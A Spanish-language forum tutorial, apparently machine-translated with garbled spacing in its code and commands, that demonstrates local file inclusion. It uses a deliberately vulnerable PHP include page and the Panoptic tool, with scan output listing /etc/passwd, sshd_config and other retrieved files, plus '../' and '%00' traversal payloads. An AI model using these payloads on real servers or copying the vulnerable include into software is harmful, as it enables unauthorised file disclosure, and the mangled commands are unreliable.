Panóptico - Común de Registro y los archivos de configuración Retriever

Iniciado por Mayk0, Mayo 06, 2013, 10:46:15 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Panóptico - Común de Registro y los archivos de configuración Retriever través LFI vulnerabilidad

Inclusión de archivos locales o LFI es un tipo de exploit web o vulnerabilidad que permite a un atacante inyectar caracteres de salto de directorio en un determinado sitio web. Un ejemplo es cuando un desarrollador utiliza la incluyen función de PHP y obtener la variable para la inclusión de una determinada página. Este es un código de ejemplo que hice como una prueba de concepto para el LFI y una captura de pantalla de la página que tomé que es vulnerable a LFI más que hace un recorrido de directorio al archivo / etc / passwd archivo en un servidor web Linux:

Código: php
<! DOCTYPE HTML>
< HTML >
< cabeza >
< estilo  tipo = "text / css"  media = "screen" >
body {
fondo: negro;
color: verde lima;
text-shadow: 0 0 5px;
}
h2 {
color: blue;
}
</ estilo >
</ cabeza >

< cuerpo >
< h2 > Soy vulnerable a la inclusión de archivos locales (LFI) con filename.php lol =: P </ h2 >

<? php
/ / Jay Turla hace este script vulnerable

include ($ _GET ['lol']);

?>
</ cuerpo >
</ HTML >



Es como la concatenación de los archivos de registro y archivos de configuración que, básicamente, se pueden utilizar para la recopilación de información y el sondeo del servidor web.

Ahora, se necesita mucho tiempo para adivinar los archivos del servidor y poner el nombre de ruta del archivo después de la página vulnerable, por lo que la automatización de este tipo de pruebas de penetración y la recopilación de información sería increíble. De hecho, me encontré con una nueva herramienta que ha sido hecho público recientemente, y se llama panóptico!

Panóptico es una herramienta de Python escrito por Roberto Salgado con la colaboración y ayuda de Miroslav Stampar, uno de los desarrolladores de sqlmap. Esta herramienta busca y busca archivos comúnmente conocidos en el servidor web como configuraciones, registros, historiales, etc a través de la Vulnerabilidad de inclusión de archivos locales.

Instalación y Uso básico:

Para instalar panóptico, clonar el repositorio en el sistema local con git clone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta . Asegúrese de que usted también ha instalado git para clonar panóptico y Python 2.6 + con el fin de ejecutarlo. Si usted no tiene git, puede instalar el paquete git utilizando el siguiente comando si está utilizando una distribución Linux basada en Debian como Ubuntu, BackTrack, BackBox Linux:

Código: php
apt-get install git-core sudo


Para empezar, entrar en el directorio principal del panóptico con cd panóptico . Hacer la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta script ejecutable y ejecutarlo con el menú de ayuda con el fin de ver sus opciones:

Código: php
chmod + x panoptic.py
. / Panoptic.py - help



Completar Ayuda Uso de Menú:


Aquí es una carrera básica muestra que hice con la página vulnerable que está alojada en mi servidor LAMP (Linux Apache MySQL PHP / Perl / Python):

Código: php
shipcode @ hihihi: ~ / panóptico $ <em> / panoptic.py - url ". http://127.0.0.1/lfisample.php?lol=x "

Panóptico v0.1-93e0cf0 ( https://github.com/lightos/Panoptic/ )

[I] A partir scan en: 22:52:55

[I] Comprobación de respuesta original ...
[I] Comprobación de respuesta no válida ...
[I] ¡Ya está!
[I] La búsqueda de archivos ...
[I] file Posible (s) encontrado!
[I] OS: * NIX
[?] ¿Quieres restringir aún más los análisis de '* NIX'? [Y / n] Y
[+] Que se encuentran '/ etc / mysql / my.cnf (* NIX / Bases de datos / conf)
[+] Que se encuentran '/ etc/apache2/sites-available/default' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/sites-available/default-ssl' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/sites-enabled/000-default' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/apache2.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/ports.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/conf.d/charset' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/conf.d/security' (* NIX / servidor HTTP / conf)
[+] Encuentra etc/apache2/envvars '/' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/autoindex.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/deflate.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/dir.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/mem_cache.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/mime.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/proxy.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/setenvif.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/ssl.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/alias.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/deflate.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/dir.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/mime.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/negotiation.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/php5.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/status.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ var / log / samba / log.smbd' (* NIX / Red / log)
[+] Que se encuentran '/ var / log / samba / log.nmbd' (* NIX / Red / log)
[+] Que se encuentran '/ etc / samba / smb.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / dhcp / dhclient' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / tor / tor-tsocks.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / tsocks.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / bluetooth / input.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / main.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / network.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / rfcomm.conf' (* NIX / conf)
[+] Que se encuentran '/ proc / self / mounts' (* NIX / otros)
[+] Que se encuentran '/ proc / self / stat' (* NIX / otros)
[+] Que se encuentran '/ proc / self / status' (* NIX / otros)
[+] Que se encuentran '/ proc / version' (* NIX / otros)
[+] Que se encuentran '/ proc / devices' (* NIX / otros)
[+] Que se encuentran '/ proc / cpuinfo' (* NIX / otros)
[+] Que se encuentran '/ proc / meminfo' (* NIX / otros)
[+] Que se encuentran '/ proc / net / tcp' (* NIX / otros)
[+] Que se encuentran '/ proc / net / udp "(* NIX / otros)
[+] Que se encuentran '/ etc / bash_completion.d / debconf' (* NIX / * NIX)
[+] Que se encuentran '/ etc / bash.bashrc' (* NIX / * NIX)
[+] Que se encuentran '/ var / log / pm-powersave.log' (* NIX / log)
[+] Que se encuentran '/ var/log/Xorg.0.log' (* NIX / log)
[+] Que se encuentran '/ var / log / boot.log' (* NIX / log)
[+] Que se encuentran '/ etc/sensors3.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / host.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / pam.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / sysctl.conf' (* NIX / conf)
[+] Que se encuentran '/ etc/sysctl.d/10-console-messages.conf' (* NIX / conf)
[+] Que se encuentran '/ etc/sysctl.d/10-network-security.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / access.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / group.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / limits.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / namespace.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / pam_env.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / sepermit.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / time.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ssh / sshd_config' (* NIX / conf)
[+] Que se encuentran '/ etc / adduser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / deluser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / avahi / avahi-daemon.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ca-certificates.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ca-certificates.conf.dpkg de edad' (* NIX / conf)
[+] Que se encuentran '/ etc / debconf.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / etter.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / foremost.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / hdparm.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / kernel-img.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ltrace.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / manpath.config' (* NIX / conf)
[+] Que se encuentran '/ etc / kbd / config' (* NIX / conf)
[+] Que se encuentran '/ etc / ldap / ldap.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / logrotate.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / mtools.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / smi.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / updatedb.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / pulse / client.conf' (* NIX / conf)
[+] Que se encuentran '/ usr / share / adduser / adduser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / networks' (* NIX / otros)
[+] Que se encuentran '/ etc / modules' (* NIX / otros)
[+] Que se encuentran '/ etc / passwd' (* NIX / otros)
[+] Que se encuentran '/ etc / fstab' (* NIX / otros)
[+] Que se encuentran '/ etc / motd' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts "(* NIX / otros)
[+] Que se encuentran '/ etc / group' (* NIX / otros)
[+] Que se encuentran '/ etc / crontab' (* NIX / otros)
[+] Que se encuentran '/ etc / mtab' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts.allow' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts.deny' (* NIX / otros)
[+] Que se encuentran '/ etc / profile' (* NIX / otros)
[+] Que se encuentran '/ etc / default / grub' (* NIX / otros)
[+] Que se encuentran '/ etc / login.defs' (* NIX / otros)
[+] Que se encuentran '/ boot / grub / grub.cfg' (* NIX / otros)
[+] Que se encuentran '/ etc/apache2/conf.d/phpmyadmin.conf' (* NIX / Base de Datos Administración / conf)
[+] Que se encuentran '/ etc / cups / cupsd.conf' (* NIX / Impresión / conf)
[+] Que se encuentran '/ etc / cups / cupsd.conf.default' (* NIX / Impresión / conf)
[+] Que se encuentran '/ etc / subversion / config' (* NIX / versiones / conf)

[I] Búsqueda de archivos completa.

[I] Acabado scan en: 22:53:09


Dulce, ¿verdad? Escanear de forma sencilla y sin más problemas!

Las rutas de los archivos comunes se encuentran todos bajo el archivo cases.xml, en el que cada una de estas rutas de los archivos se clasifican en software, categoría de software, el sistema operativo (sistema operativo) y una opción si desea buscar un archivo que es un registro, configuración archivo, etc Es por eso que se puede utilizar el argumento-os,-software-categoría y tipo de opciones de análisis específicos. Para una lista de cada categoría, puede hacer los siguientes comandos, por ejemplo:

Código: php
. / Panoptic.py-l os
Software. / Panoptic.py-l
. / Panoptic.py-l categoría



Por lo tanto, podemos especificar nuestro OS si en el caso de la página vulnerable está alojado en un sistema operativo determinado por menor solicita. Tomemos, por ejemplo, si se encuentra alojada en Windows:

Código: php
. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- os de Windows


Panóptico también guarda los archivos comunes que se encontraron con la opción -w o -writefile :

Código: php
. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "-w


El contenido de cada archivo se guardará en la salida / (dominio) / (file_path.txt) , en mi caso, debería estar bajo output/127.0.0.1 / .


En la mayoría de los casos, la vulnerabilidad de inclusión de LFI en una función PHP include estará dentro de ciertos directorios o carpetas y con una extensión de PHP que se utiliza para el filtrado de archivos que no son PHP al igual que el código de ejemplo siguiente.:

Código: php
<? Php
incluir ( "/ var / www /"  . $ _GET [ 'lol' ]. "php." );
?>


Añadiendo 127.0.0.1/fisample.php? lol = con / etc / passwd no va a funcionar, pero puede ser anulado con 127.0.0.1/lfisample.php? lol =.. /.. / etc / passwd% 00 , o por añadiendo un poco más de puntos y rayas antes de que la ruta del archivo. Esto también se puede lograr con panóptico también, por ejemplo:

Código: php
. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- prefix" .. / "- multiplicador de 3 - sufijo"%
00 "


o

Código: php
. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- prefix" .. / "- multiplicador de 2 - sufijo"% 00 "


Sí, vamos a sumar un nullbyte y algunos ".. /" para evitar la extensión de archivo requerido por el incluye la función de la página!

Palabras Finales

Se agregarán más características en breve por los desarrolladores del panóptico, asegúrese de mantenerlo al día escribiendo el siguiente comando:

Código: php
. / Panoptic.py - Actualización


También hay otras características, que no he incluido en este artículo para que la oportunidad de jugar con esta herramienta y descubrir más técnicas por su cuenta.

Un saludo!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy Buen Aporte! Gran Herramienta!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".